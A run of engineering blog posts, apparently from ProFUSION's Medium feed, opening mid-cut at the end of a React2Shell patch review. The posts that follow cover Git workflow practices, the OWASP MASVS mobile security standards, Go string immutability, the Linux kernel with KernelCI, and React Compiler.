It could have been simpler by just checking if this instanceof Chunk, which would have mitigated using chunk.value as chunk. I think solving it in the then implementation would be simpler than introducing an explicit loop in the newly added fulfillReference() and inside getOutlinedModel().

It also goes into removing _response from the chunk and moving it into reason, which is more commonly reset over time (when chunks change state). The response is stored in an object using a Symbol() key, so it cannot be injected over the network (unless you explicitly pass a reviver to JSON.parse() that converts some name to it).

Some safety was added before calling resolve or reject, since these callbacks may be undefined. Some try-catch were added to properly cleanup the busboyStream. But these has nothing to do with this specific bug.

Some refactor was also done, removing CyclicChunk and using BlockedChunk instead, cleaning up some code paths. I did not stop to review in depth and see why (if) it was needed, but I'd refrain from doing so much changes to fix a serious problem as this one.

React2Shell: Critical Vulnerability in React Server explained with technical details of code was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

Portuguese Version

Since I joined ProFUSION, I’ve often heard new colleagues say they “knew Git”, but after getting to know the concepts and practices we use, they realized a lot actually changed.

This post shares essential practices, from interactive rebase to bisect, that turn your Git usage from basic to professional.

Recommended material

If you really want to understand, in practice, how rebase, push, merges, and the commit tree work, I strongly recommend doing the exercises in learngitbranching.js.org.

There you can:

• simulate real‑world scenarios;
• visualize branches, merges, and rebases graphically;
• test commands without being afraid of breaking anything.

In this post, I’ll focus on:

• rebase (including interactive);
• organizing the commit tree;
• git bisect;
• commit/push best practices.

If you want to go even deeper, I also recommend this other postagem: Git 101: rebase & merge.

When should I use rebase?

Rebase is the process of moving or reapplying commits from one branch on top of another, as if your branch had been created from a more recent commit.

Instead of ending up with a history full of merge commits, rebase linearly retells the story. Meanwhile, merges tend to create parallel branches, and the commit graph becomes a tangle of lines. With rebase, you get a single trail where each step is easy to follow when reviewing code or hunting down a bug.

Why use rebase?

• Keeps history cleaner and more linear.
• Makes code reviews easier (PRs with organized commits).
• Avoids visual noise from unnecessary merge commits.

Exemple:

You created the branch feature/login from main. While you develop, the main branch gets new commits. Before opening your PR, you can do:

git checkout feature/login
git fetch origin
git rebase origin/main

This replays your feature/login commits on top of the latest version of main.

If there are conflicts, Git pauses, and you resolve them:

# resolve the conflicting files
git add <files>
git rebase --continue

# if things go really wrong:
git rebase --abort

Interactive rebase

Interactive rebase gives you control over your commits. You can:

• reorder commits;
• squash/fixup multiple small commits;
• edit commit messages;
• drop unwanted commits.

Example: cleaning up the last 3 commits before opening a PR:

git rebase -i HEAD~3
# Resultado:
pick a1b2c3 fix: remove something
pick d4e5f6 feat: add new org
pick 123abc chore: update js version

You can replace pick (keep as is) with:

• edit: edit the commit;
• reword: change only the message;
• squash/fixup: merge commits;
• drop: remove the commit.

Tools like VS Code + GitLens help you visualize the history and better understand what’s going to be rewritten. If you want to configure your favorite editor, I recommend this doc: Associar editores de texto ao Git.

You’ll find more details about interactive rebase and rebase in general in the article mentioned above.

Common mistakes when rebasing

1. You create a branch feature‑y from feature‑x.
2. Your teammate, or even you, keep working on feature‑x and add new commits or amend existing ones.
3. You try to rebase feature‑y onto feature‑x and start seeing “weird” conflicts.

Why does that happen?

Both rebase and commit — amend rewrite commits, generating new hashes. That means that even if the code looks the same, the commits themselves are different, with different IDs.

If your branch was based on an old version of feature‑x, the history diverges.

How to visualize this?

# shows the commit tree as a graph
git log --oneline --graph --all

Or tools like tig to give you a more friendly view of the history. If you’re not yet comfortable with git log or tig, using your IDE’s visual Git tools can help a lot to see how your tree behaves after a rebase or amend.

How to fix it?

Use interactive rebase to remove duplicated commits, which are commits with the same content but different hashes. If you don’t drop them, you’re applying the same change twice, which greatly increases the chance of unnecessary conflicts in future rebases and makes the whole process harder to reason about.

If you’re just starting to understand rebase, my tip is:

Play with these scenarios on https://learngitbranching.js.org until you feel comfortable predicting how the pointers move.

Publishing changes after rebase

After a rebase or even a git commit — amend, you won’t be able to run a plain git push simply. You’ll need one of these options:

• git push origin my-branch — force: overwrites the remote history even if someone has pushed after you. Should be avoided on shared branches like main, develop, etc.
• git push origin my-branch — force-with-lease: safer version of — force. Git only forces the push if the remote state matches what you expect locally. This protects against overwriting commits that you haven’t pulled yet.

Why a well‑structured commit tree matters

A well‑organized history is not just pretty in the Git graph. It’s a real working tool for the team.

Why is this important?

It makes code reviews easier

• Smaller, focused commits with clear messages let reviewers understand what you did and why.
• Instead of a PR full of WIP and fixing stuff, you have a sequence of changes that tell the story of the feature.

It helps in investigating bugs

• When each commit represents a single logical change (atomicity), it becomes much easier to know exactly which commit broke something.
• This directly connects to using git bisect.

It enables safe rollback/cherry‑pick

• If one commit corresponds to adding feature X and another to fixing bug Y, you can revert or cherry‑pick exactly what you need, without huge side effects.

It makes life easier for new team members

• New devs can read the evolution of the project through the commits.
• You’re telling a story: the problem, the solution, refactors, all through the order and clarity of the commits.

As you gain experience, your planning improves, and you naturally start to:

• think about commits before writing code;
• group related changes together;
• avoid random giant “everything” commits.

This is the idea of atomic commits: each commit is a logical unit of change, easy to understand, test and, if needed, revert.

Git Bisect: finding the problematic commit

It is perfect when:

1. a bug appeared “somewhere” between two versions;
2. you don’t know in which commit exactly;
3. just looking at the code is not enough to figure it out.

Instead of testing every commit manually, git bisect runs a binary search: it keeps narrowing down the interval between good commit and bad commit until it finds the culprit.

Basic Flow

git bisect start
git bisect bad HEAD          # current commit has the bug
git bisect good <old-hash>   # a commit you know was working

Git will checkout an intermediate commit. From there:

1. Run your tests or reproduce the bug.
2. If the bug is present: git bisect bad
3. If the bug does NOT appear: git bisect good

Git keeps choosing new commits until it ends up with a single commit: the “bad” one.

When you’re done, run: git bisect reset

Why does a clean history matter here?

If each commit is atomic and well described, when bisect says “this is the bad commit”, that already gives you a very clear context of what changed there.

If a single commit touches 15 unrelated areas, even if you know it introduced the bug, it will still be hard to fix without breaking something else.

Updating and publishing commits remotely

When creating a commit message, use a text editor (instead of just git commit -m “…”) so you can follow a clear convention such as Conventional Commits.

Basic format

Line 1: type + short description

• feat: add login with OAuth
• fix: fix interest calculation bug

Body (optional): explain what was done and why.

Footer: reference tasks/issues

• closes #123 → this commit closes issue 123
• part of #456 → this commit is part of issue 456, but doesn’t solve it entirely

feat: add date filter to reports

- add start and end date fields to the API
- update validation to support optional ranges
- adjust integration tests

closes #42

Commit signatures (user.name, user.email, GPG)

Setting up user.name and user.email ensures your commits are properly attributed to you. But to take security one step further, you can sign commits with a GPG, SSH or S/MIME key, which adds an authenticity seal to your history.

Why is this important?

• Authenticity: A signed and verified commit proves it was really made by you or, in a company context, by an authorized contributor.
  Example of risk avoided: without signatures, someone with access to your email and Git config could forge commits pretending to be you. With signatures, only whoever owns your private key can create valid commits.
• Integrity: Git and platforms like GitHub verify that the commit content hasn’t been altered since it was signed. If someone tries to modify the commit (message, content, author, etc.), verification fails, and the Verified badge does NOT appear.
• Traceability and audit: In critical/compliance projects (PCI, financial auditing, large companies, open source), signatures serve as evidence of who changed or approved what. They’re often used as input for compliance logs.
• Trust and reputation: For maintainers, team leads, and open‑source teams, seeing Verified commits is a quick visual guarantee that the repo hasn’t been tampered with by unauthorized pushes or force pushes.

Other useful everyday commands

git fetch:

• Downloads updates from the remote (new commits, new branches) without touching your current branch.
• Use it before rebase/pull to see what changed.

git stash:

• Saves your local, uncommitted changes so you can switch branches without committing.
• You can later reapply them with git stash apply or git stash pop.

git reset — hard:

• Moves the branch pointer to another commit and discards everything that isn’t committed.
  Be careful: only use it if you’re sure you can lose local changes.

A great cheat sheet of useful commands here.

Aliases: turning long commands into shortcuts

These are shortcuts that transform long commands into short, practical ones. They don’t change how Git works, but they reduce typing and make your workflow much smoother.

Useful examples

git config --global alias.st "status -sb"
git config --global alias.lg "log - oneline - graph - decorate - all"
git config --global alias.up "!git fetch - all && git rebase origin/main"

With that:

• git st → git status -sb
• git lg → a friendly, visual log
• git up → fetch everything and rebase onto origin/main in a single command

You can find nice community alias collections here. If you use any other handy aliases in your daily workflow, feel free to share them in the comments.

Conclusion

Knowing how to run git add, git commit, and git push is enough to survive with Git, but not to get the most out of it. With this post, I hope you stop using Git on autopilot and start treating it as what it really is: a powerful tool for communication, traceability, and security for the whole team.

These concepts and commands, when applied well, are exactly what differentiates someone who knows how to commit from someone who uses Git like a specialist.

If you want to go even deeper, my suggestions are:

• Read official docs like Git SCM and GitHub (or similar);
• Observe how large projects (Linux, Kubernetes, etc.) organize their history.

References

• Git Bisect — And Debugging Is Easy
• Signing commits
• Git SCM
• Github Documentation
• Git Organized: A Better Git Flow

How to use Git like a PRO was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

O Caso Whatsapp

Para entender a gravidade da segurança mobile, nada melhor do que começar com um caso real: a exposição em massa de números de telefone e dados de perfil do WhatsApp. A Universidade de Viena descobriu uma falha simples, mas catastrófica: ao adicionar um número, o WhatsApp informava se ele estava registrado ou não. Se o número existisse, era possível ter acesso à foto, recado e até mesmo à chave Pix, caso estivessem configurados como públicos. O risco estava na consulta não ter um limite.

Com isso em mente, os pesquisadores fizeram uma coleta de dados em massa utilizando o próprio Whatsapp. A ideia foi simples: mapear todos os números de telefone válidos possíveis e verificar se o número está presente no Whatsapp, se sim, coletar foto, recado e chave pix (se estiver pública). O Whatsapp não impunha um limite a essa consulta, portanto, os pesquisadores conseguiram explorar todos os números de telefone possíveis, sem impedimentos. A Universidade comunicou a falha de segurança à equipe do Whatsapp, que implementou um limite nessa verificação.

Segurança como Standard

É para evitar casos como esse , onde até mesmo grandes empresas falham em coisas simples como impor um rate limit nas requisições, que surgiu a necessidade de um padrão de mercado para a segurança em aplicativos móveis.

Com isso em mente, a pergunta crucial para todo desenvolvedor ou arquiteto é: como eu garanto a segurança do meu aplicativo? Que métodos, mecanismos e padrões devem ser utilizados para avaliar e construir uma defesa robusta?

O objetivo deste artigo é justamente responder a essas perguntas, apresentando as ferramentas da OWASP (Open Worldwide Application Security Project) e como utilizá-las para elevar a proteção do seu produto.

Inicialmente, a OWASP criou o MASTG (Mobile Application Security Testing Guide), um guia robusto para testes de segurança. Posteriormente, esse projeto foi expandido para o MAS (Mobile Application Security) Project , que hoje engloba o MASTG e mais dois pilares essenciais: o MASVS (Mobile Application Security Verification Standard) e o MASWE (Mobile Application Security Weakness Enumeration). O objetivo primordial desses frameworks é estabelecer padrões e práticas de mercado para a segurança de aplicativos móveis.

MASVS — Áreas de proteção essencial
O MASVS estabelece princípios de segurança e privacidade aplicado a 8 áreas:

• MASVS-STORAGE: Foca no armazenamento seguro de dados sensíveis. Exige que tokens, chaves e informações pessoais sejam salvos em um armazenamento seguro da plataforma, como o Security Keychain (iOS) ou equivalentes.
• MASVS-CRYPTO: Garante que a criptografia utilizada para proteger informações sensíveis seja forte e siga as práticas de mercado. Isso significa usar algoritmos robustos e proteger as chaves de forma segura.
• MASVS-AUTH: Lida com os mecanismos seguros de autenticação e autorização usados pelo aplicativo. Requer o uso de protocolos renomados e seguros de autenticação, como OAuth 2.0
• MASVS-NETWORK: Assegura a comunicação de rede segura entre o aplicativo e os endpoints remotos. É essencial usar SSL/TLS e implementar Certificate Pinning para prevenir ataques Man-in-the-Middle (MITM).
• MASVS-PLATFORM: Trata da interação segura do aplicativo com as funções nativas do sistema operacional (SO) e outros aplicativos. Evita o uso indevido de funções nativas que possam vazar dados em WebViews ou Screenshots.
• MASVS-CODE: Foca nas melhores práticas de segurança para processamento de dados. Exige que o aplicativo utilize bibliotecas e versões do SO atualizadas para mitigar vulnerabilidades conhecidas.
• MASVS-RESILIENCE: Define a resiliência contra engenharia reversa e tentativas de adulteração (tampering). Inclui a validação da integridade do dispositivo, verificando a presença de root (Android) ou jailbreak (iOS), que podem comprometer a segurança.
• MASVS-PRIVACY: Garante a proteção dos dados e a privacidade do usuário. O aplicativo deve minimizar o uso e transporte de informações sensíveis, utilizando-as somente quando estritamente necessário.

MASWE — Lista de fragilidades mais exploradas

O MASWE, como o nome sugere, é um compilado de fragilidades de segurança em aplicativos móveis, fornecendo uma lista das mais comuns e mais impactantes. É importante para conhecer as fragilidades mais exploradas em ataques à segurança, e ser capaz de proteger o aplicativo contra esses ataques.

MASTG — O guia extenso de testes

O MASTG é um manual extenso para testar engenharia reversa e falhas de segurança e privacidade em aplicativos móveis. Ele descreve processos técnicos para testar os tópicos do MASVS e as fragilidades no MASWE.

Ferramentas Importantes — Frida

O Frida é um toolkit de instrumentação dinâmica para desenvolvedores e testadores de segurança, ele permite executar scripts em tempo de execução no código do aplicativo.

O Frida permite burlar mecanismos de anti-root, anti-jailbreak, além de poder interceptar chamadas de função, chamadas de bibliotecas nativas e capturar chaves de criptografia, contornar SSL pinning, e com isso, interceptar diversas informações e explorar vulnerabilidades em API’s, por exemplo.

Veja a Documentação do Frida para mais informações.

Conclusão

Como vimos no ‘Caso WhatsApp’, até falhas simples podem levar a grandes exposições de dados. O MASVS é a sua melhor defesa contra isso. Ele não é apenas um guia de teste, mas um padrão de projeto que define claramente o que precisa ser seguro, desde a forma como você usa a criptografia até a interação com o sistema operacional.

O grande benefício do MASVS é ter um padrão de mercado para assegurar aplicações. Ter uma forma de avaliar a segurança de um aplicativo em testes de segurança ou proteger aplicativos que lidam com informações sensíveis (dados pessoais, financeiros). A depender do contexto do aplicativo, dos dados que circulam nele, não é necessário aplicar mecanismos avançados de segurança como criptografia, assinatura de requisições e afins. Contudo, para todo aplicativo é necessário um nível mínimo de segurança, para evitar exposição de servidores, ataques DDOS, DOS, MITM, e outros. Por isso alguns mecanismos são essenciais, como armazenamento seguro de dados, autenticação de requisições e proteções na comunicação via rede.

Se você é um desenvolvedor que trabalha com aplicativos móveis, a teoria deve se transformar em ação imediatamente.

Próximos passos

É crucial mapear os requisitos do MASVS no seu projeto. Comece avaliando a criticidade dos dados: as informações transmitidas são sensíveis? O aplicativo deve assegurar a integridade, confidencialidade e privacidade desses dados?

• Decisão de Resiliência: Com base na sensibilidade dos dados, avalie a necessidade de aplicar estratégias de resiliência (MASVS-RESILIENCE). Isso inclui a implementação de mecanismos contra Reverse Engineering, como anti-root, anti-jailbreak, anti-emulador e ofuscação de código.

A melhor forma de validar a segurança do seu app é tentar quebrá-lo. Uma verificação interessante é realizar um Pentest (teste de penetração) para descobrir vulnerabilidades e testar a eficácia dos seus mecanismos de defesa.

• Poder do Frida: Ferramentas como o Frida são essenciais nesse processo. O Frida permite injetar código e manipular respostas de bibliotecas nativas, burlando mecanismos de segurança e quebrando o funcionamento esperado do aplicativo. Ele testa a verdadeira resiliência do seu código.

O Padrão que Todo Desenvolvedor Mobile Precisa Dominar: Entendendo o MASVS was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

O que acontece ao modificar uma string?

Quando se realiza uma operação de string na maioria das linguagens (incluindo Go, Python, Java), o runtime aloca um novo bloco de memória e copia os bytes da string original, criando uma nova instância que é então modificada ou ampliada. Por fim, caso a anterior não possua mais referências, ela é liberada da memória.

Por isso, operações repetidas de concatenação dentro de loops (ex. body += row) podem ser anti-performáticas, pois implicam alocação recorrente e cópias múltiplas.

Se for realizar muitas operações de modificação em strings (como em um loop que monta textos grandes), a recomendação é usar classes como StringBuilder (Java, C#) ou strings.Builder (Go), que são mutáveis e otimizadas para este padrão de uso, diferentemente das strings tradicionais.

Qual a razão das strings serem imutáveis?

1. Segurança (especialmente em múltiplas threads): múltiplas variáveis podem apontar para o mesmo valor em memória. Se strings fossem mutáveis, alterações acidentais poderiam gerar efeitos colaterais incompreensíveis (como alterar todos os nomes de arquivos de uma aplicação involuntariamente).​
2. Otimização de memória com string interning: diferentes referências ao mesmo literal compartilhando o mesmo bloco de memória economizam espaço. Com imutabilidade, é seguro fazer isso.
3. Previsibilidade e ausência de efeitos colaterais: se uma função retorna uma modificação de string, a original segue intacta. Isso torna programas mais fáceis de depurar, testar e manter.​
4. Facilita o uso de strings como chaves em estruturas de dados imutáveis: dicionários, mapas e tabelas hash dependem da imutabilidade dos objetos usados como chave para manterem sua integridade.

Como o computador representa strings: bits, charset e encoding

Para existir na memória, uma string exige três componentes:

• Tamanho: A quantidade de caracteres ou unidades lógicas da string.
• Charset (conjunto de caracteres): mapeia os números para símbolos. ASCII é o mais famoso, Unicode é mais abrangente.
• Encoding: O algoritmo que converte os símbolos definidos pelo charset em bytes reais. ASCII puro: 1 byte por caractere; Latin-1 cobre idiomas ocidentais; UTF-8 representa qualquer símbolo Unicode (1 a 4 bytes).

Unicode e UTF-8

• Unicode: Conjunto universal de símbolos.
• UTF-8: Algoritmo para armazenar Unicode em bytes.

Não é possível simplesmente trocar um byte por outro esperando uma troca exata de símbolo. A posição visual pode não bater com o início real do símbolo (por exemplo, “á” ocupa duas posições em UTF-8).
Caractere “a”: 1 byte (0x61)
Caractere “á”: 2 bytes (0xc3 0xa1)

Encodings alternativos

Além do UTF-8, existem outros encodings conhecidos como:

• Latin-1: cobre boa parte dos idiomas europeus, cada caractere tem 1 byte.
• UTF-16, UTF-32: versões mais antigas (ou usadas em sistemas como Windows), onde múltiplos bytes/códigos são comuns.
• CP 860, CP 1252: encodings clássicos do MS-DOS e Windows (Brasil/Europa).

O que são runas?

Em termos gerais, uma runa é um ponto de código Unicode, isto é, um “caractere lógico” (letra, símbolo, emoji etc.), independentemente de quantos bytes ele ocupa quando armazenado. A maioria das linguagens modernas consegue iterar uma string “por runas” para garantir que operações ocorram sobre caracteres completos e não bytes isolados. Por exemplo, iterar por runas garante que “ó” seja vista como um elemento só, mesmo ocupando mais de um byte.

Por que isso importa para a imutabilidade? Se modificar bytes arbitrários não respeitar as fronteiras de runas/caracteres, você pode criar sequências inválidas, transformar um símbolo em outro ou corromper completamente o texto. A imutabilidade evita que isso aconteça sem intenção clara, pois sempre que uma modificação precisa ser feita, uma nova string é construída com os caracteres desejados.

Exemplo (Go): o impacto de modificar bytes diretamente

As strings são imutáveis. Contudo, é possível converter uma string para um slice de bytes usando []byte(s). Isso permite analisar e manipular individualmente os bytes que compõem a string.

Por exemplo, veja a palavra “Lógica”, que contém o caractere acentuado “ó”. Em UTF-8, esse caractere é representado por dois bytes. Se tentarmos simplesmente substituir o caractere “ó” (2 bytes) pelo “o” (1 byte), teremos problemas, pois alterar apenas 1 byte quebraria a estrutura UTF-8 da string:

package main
import "fmt"
func main() {
  s := "Lógica"
  b := []byte(s)
  fmt.Printf("Bytes originais: %v\n", b)
  // Tentando modificar um byte do 'ó' por 'o' levando em consideração que ó seria o segundo valor da string
  b[1] = 0x6F
  fmt.Printf("Bytes modificados: %v\n", b)
  fmt.Printf("String modificada: %q\n", string(b))
}

Ao executar este código no Go Playground, a saída será:
Bytes originais: [76 195 179 103 105 99 97]
Bytes modificados: [76 111 179 103 105 99 97]
String modificada: “Lo\xb3gica”

Esse experimento mostra na prática que alterar bytes de forma isolada resulta em texto corrompido. Se strings fossem mutáveis (e editadas assim), os dados poderiam perder sua integridade, reforçando o porquê da escolha de imutabilidade para strings em linguagens modernas.

Conclusão

A imutabilidade das strings não é mero capricho das linguagens: ela preserva segurança, performance, previsibilidade de código e integridade dos dados especialmente ao lidar com Unicode, encodings e uso em múltiplas threads. Quando precisar modificar strings em massa, procure alternativas como buffers, builders ou algoritmos próprios para manipulação de dados.

Referências e Recursos Adicionais

• Go Blog: Strings, Bytes, and Runes
• Unicode Code Points e UTF-8
• Unicode Tutorial
• Manipulação de strings Unicode em Go (utf8 package)
• Você REALMENTE sabe o que é uma STRING?
• Converter bytes para string em Python: guia completo e exemplos
• Comparativo e benchmark: Java String vs StringBuilder
• String in Java
• Str in Python
• What are the reasons behind making strings immutable in Java?

Você sabe por que Strings são imutáveis na maioria das linguagens de programação? was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

The kernel is the central core of an operating system that manages communication between hardware and software. It is the fundamental foundation that enables any modern operating system to function.

The kernel acts as a highly efficient intermediary between running applications, such as browsers, text editors, video players, and hardware components, including CPUs, RAM, hard drives, and peripherals. Its primary function is to translate software requests into commands understandable by the hardware, and vice versa. Additionally, it handles the virtual management of essential resources, such as:

• Memory management: monitoring, allocating, and protecting memory spaces used by applications and the operating system itself.
• Process control: defining which tasks can use the CPU, when, and for how long, ensuring efficient and secure process operations.
• Device management: serving as a bridge between software and hardware devices, using drivers to manage printers, network cards, disks, and other peripherals.
• File system management: organizing and securing data storage and access.
• Security and permissions: enforcing strict control over sensitive resources, preventing interference or attacks between programs.

Linux Kernel and Architecture

Most operating systems use different types of kernels, but Linux stands out as the most widely used kernel in servers and embedded systems, including being the basis for Android.​

The Linux kernel follows a monolithic and highly modular architecture, delivering high performance and easy customization for hardware ranging from supercomputers to embedded devices, routers, smart TVs, and smartphones. All core components, such as memory management, file systems, and device drivers, operate within a single memory space, providing efficient integration with diverse hardware through its dynamic module system.​

While other architectures exist, such as microkernel and hybrid designs (used in experimental or niche systems like Mach and Windows NT), the monolithic modular approach of Linux has proven especially advantageous for scalability, stability, and security across a vast array of devices.

Operating Modes

The kernel and applications interact through two principal modes of operation.

Kernel Mode

In kernel mode, code executes with full and direct access to hardware and critical system resources. Here, virtually everything is allowed: modifying the memory of any process, accessing devices directly, changing processor configurations, etc.

Only the operating system’s core executes in this mode. It is the zone of maximum trust.

User Mode

In user mode, applications execute with limited access. A program running in user mode cannot:

• Access the memory of other processes;
• Interact directly with hardware
• Modify critical system resources

Suppose an application needs to do something that requires privileged access. In that case, it must make a system call to the kernel, which is responsible for authorizing and executing the operation with the necessary privileges.

Ensuring Kernel Quality

The Linux kernel runs on a huge variety of hardware: from supercomputers and servers to routers, smartphones (Android), smart TVs, and embedded systems. Given these diverse environments, it’s essential to ensure each new release remains compatible and stable.

This is achieved through automation and continuous testing (CI — Continuous Integration). Continuous integration means that every kernel update is automatically built and tested on multiple types of hardware and real scenarios, allowing quick identification of failures and incompatibilities, and making Linux more reliable.

KernelCI is the main open source initiative for this task. Founded in 2014 and maintained by the Linux Foundation, it ensures kernel quality across thousands of hardware platforms. Any code change on any kernel branch triggers the following automated workflow:

• Build: The kernel is compiled in many configurations for architectures such as ARM, x86–64, and MIPS. KernelCI’s distributed infrastructure features servers specialized for each hardware family.
• Boot/Test: After building, the kernel is deployed to real physical devices for boot and diverse testing. Example tests include proper filesystem mounting, essential driver operation, and security checks for regressions.
• Logs and Issues: KernelCI uses the logspec project (https://github.com/kernelci/logspec) to automatically analyze logs, detect errors, and generate categorized issues, making it easier to prioritize and track bugs.

The results are sent to the central KCIDB (KernelCI Database), which aggregates, stores, and runs queries on all CI test results. KCIDB works as the hub that combines data from multiple CI systems and hardware platforms worldwide. It enables KernelCI to monitor kernel health across countless hardware configurations, environments, and partners, keeping everything unified and searchable.

Visualizing Test Activities

In order to visualize test execution and related data, the main interface is the KernelCI Dashboard. This web dashboard serves as the central access point for build histories, boot and test results, hardware status, and a summary of detected issues and regressions. It presents everything from ARM hardware boots to detailed filesystem and security tests, enabling fine-grained analysis and a clear understanding of the impact of kernel changes.

The dashboard backend relies on Django and PostgreSQL, enabling queries over large, complex test datasets. The frontend is built with React, Typescript, and Tailwind CSS, offering a modern and interactive user experience.

For those who prefer command-line workflows or need automation, there’s also kci-dev, a CLI tool that interacts directly with the KernelCI Dashboard backend to fetch results, analyze trends, and automate aspects of monitoring and troubleshooting.

You Can Also Contribute

Since we’re talking about an open source project, you can be a contributor to KernelCI just like ProFUSION.

If you’re a kernel developer, software engineer, or simply passionate about open source, there are many ways to contribute to KernelCI:

• Dashboard Improvements: New UI/UX, new visualizations, analysis features
• Testing Infrastructure: New test types, automation, optimizations
• Plus many other contributions

Getting Started

Interested but not sure where to start? Here are some suggestions to help us with the KernelCI Dashboard:

1. Explore: Visit https://dashboard.kernelci.org/ to see the test ecosystem in action.
2. Study the Code: Access https://github.com/kernelci/dashboard to learn about the architecture.
3. Contribute: Consider making your first pull request to the project. You can find good first issues at https://github.com/kernelci/dashboard/issues

References and Additional Resources

• Tanenbaum, A. S.; Bos, H. Modern Operating Systems. 4th Edition. Ed. Pearson. 2016
• Bovet, D. P.; Cesati, M. Understanding the Linux Kernel. 3rd Edition. Ed. O’Reilly Media. 2005.
• Silberschatz, A.; Galvin, P. B.; Gagne, G. Fundamentals of Operating Systems. 9th Edition. Ed. LTC. 2018.
• Stallings, W. Operating Systems: Internals and Design Principles. 9th Edition. Ed. Pearson. 2018.
• What is a Kernel — Basic Computing Concepts: https://www.youtube.com/watch?v=GuBpmasRVus
• KernelCI Documentation: https://docs.kernelci.org/
• KernelCI: more than just boot testing: https://www.collabora.com/about-us/our-work/kernelci-more-than-just-boot-testing.html
• Understanding KernelCI KCIDB: A Guide for Future Contributors: https://abhishekk.hashnode.dev/understanding-kernelci-kcidb-a-guide-for-future-contributors
• Community Discussions: KernelCI Discord and mailing list kernelci@lists.linux.dev
• Portuguese Version: https://medium.com/@devlucassantoss/entendendo-o-kernel-do-conceito-aos-testes-automatizados-com-kernelci-7aa0f005d027

Understanding the Kernel: From Concept to Automated Testing with KernelCI was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

What is React Compiler?

React Compiler is a build-time tool that automatically optimizes your React Code, following React Rules and with no need to rewrite any existing code to use it.

React traditionally relies on re-rendering components whenever state or props change. While powerful, this can cause performance issues with unnecessary re-renders. To solve this, developers use Memoization Hooks, such as useMemo, useCallback, and the wrapper React.memo. These hooks will memorize the component’s state, and when something changes, they will prevent the component from recalculating the render, as its internal state didn’t change. This will improve the application performance.

The major improvement is that React Compiler will optimize your code during build time, making your application faster and smoother by automatically adding memoization to your components. This implies that the usage of the previously described tools is no longer required.

How does it work?

React Compiler analyzes your React Code to create an optimized Javascript Source, to do so, it executes a few steps:

• Create an Abstract Syntax Tree to represent nodes and their respective states and props.
• After that, it analyzes the AST and the data flow to optimize your code, analyzing states, props and functions to be memoized and removing dead code from the source.

The output is an optimized Javascript Code.

Unlike runtime memoization hooks, React Compiler runs during build time, injecting memoization logic directly into the compiled output, this makes the application faster, as there is no memoization logic running during the execution. Even though memoization hooks are a powerful optimization tool, it costs performance as it works during application runtime.

Before vs After

With those changes, how does it affect the way we write code??

// Before
const Button = React.memo(({ label, onClick }) => <button onClick={onClick}>{label}</button>);
// Now
const Button = ({ label, onClick }) => <button onClick={onClick}>{label}</button>;
// Compiler auto-memoizes this

With React Compiler, there’s no need to add manual memoization, as the Compiler will do it for you, with some additional optimizations and caching.

Integration with Build Tools

According to the docs, React Compiler is compatible with many build tools, such as Babel, Vite, Metro and Rsbuild.

React Compiler is actually a light Babel plugin, but the React team is working on building a first class support for React Compiler.

React Compiler is also available for NextJs by v15.3.1.

Limitations and Constraints

As the Compiler is on its initial version, it still comes with a few limitations:

• Not every pattern is supported for memoization
• Works better with function components following the Rules of React strictly
• Might need to disable Compiler in specific components (“use no memo” directive).

P.S.: If your code shows some unexpected behaviors with React Compiler, you can configure it to apply only to specific files with the directive “use memo” or “use no memo” for the files you don’t want the Compiler to work on. See Configuration Docs for more.

Example

To make it clear, let’s see React Compiler in action with a simple example code, and see what it does. The app will be a simple page, with text inputs, a Counter and a List of Items. The idea is that we’ll have a parent component sharing some states with child components, and see what React Compiler does to optimize the code and prevent re-rendering.

export default function App() {
  console.log("Render App");

  const [count, setCount] = useState(0);
  const [text, setText] = useState("");
  const [items, setItems] = useState(["Item 1", "Item 2", "Item 3"]);
  
  const handleIncrement = () => setCount((prev) => prev + 1);
  const handleText = (e: React.ChangeEvent<HTMLInputElement>) => setText(e.target.value);
  const handleItems = (e: React.ChangeEvent<HTMLInputElement>) => {
    setItems((prev) => […prev, e.target.value]);
  };

  return (
  <div>
    <h1 style={{ fontWeight: 700, marginBottom: 10 }}>⚡ React Compiler Test</h1>
    
    <div style={cardStyle}>
      <p style={titleStyle}>Text</p>
      <input
        style={inputStyle}
        value={text}
        onChange={handleText}
        placeholder="Type something…"
      />
      <p style={{ marginTop: 10, fontSize: 15, opacity: 0.9 }}>
      You typed: <b>{text || "nothing yet"}</b>
      </p>
    </div>

    <Counter value={count} onIncrement={handleIncrement} />

    <div style={cardStyle}>

      <p style={titleStyle}>Add Item</p>

      <input
        style={inputStyle}
        onChange={handleItems}
        placeholder="Type something…"
      />
    </div>

    <ItemsList items={items} />
  </div>
);
};

With that simple page we can see React Compiler in action, the page has 2 inputs and 2 components, without the Compiler (or manual memoization) every time we add a new item to the list or increment counter, all components will re-render, even the ones that weren’t affected by the change.

Running the code without the Compiler on, you will see that every time a state changes, the whole page re-renders You can see in the console that when we increment the counter, the parent node, the items list and the counter are re-rendered, even though only the Counter and App states changed (counter state is managed by App):

App.tsx:121 Render App // initial render
App.tsx:50 Counter 0 // initial render
App.tsx:80 Items List // initial render
App.tsx:121 Render App
App.tsx:50 Counter 1
App.tsx:80 Items List
App.tsx:121 Render App
App.tsx:50 Counter 2
App.tsx:80 Items List

With React Compiler, it will automatically add memoization to components, so it will work as if you’ve added memoization manually, but you haven’t. Using React Devtools, on the Components tab, it shows the components that were optimized by the Compiler. It shows a “Memo ✨”, indicating that the compiler memoized the component.

Now, when we run the code with Compiler on and increment counter:

App.tsx:121 Render App // initial render
App.tsx:50 Counter 0 // initial render
App.tsx:80 Items List // initial render
App.tsx:121 Render App
App.tsx:50 Counter 1
App.tsx:121 Render App
App.tsx:50 Counter 2

Only Counter and App components are re-rendered, and there was no need to add memoization manually. That’s the point of using the React Compiler: you stop worrying about memoizing components and when/how to do it and only focus on building the logic of your app. With that, the app gets faster and runs smoother, without more worries.

Example Source Code

Performance Gains with React Compiler

• Fewer unnecessary re-renders.
• Less time debugging stale closures.
• Cleaner, simpler code.
• Same or better runtime performance.

Conclusion

As we saw, React Compiler is a great addition to the React ecosystem. Developers who were worried about performance issues will have fewer worries, and the same or better performance results, and those who didn’t worry about it will get faster and smoother apps without even knowing about it. So what it brings is Performance by Default.

React Compiler is available and compatible with React v19, but can be used with additional configuration on React v17 and v18.

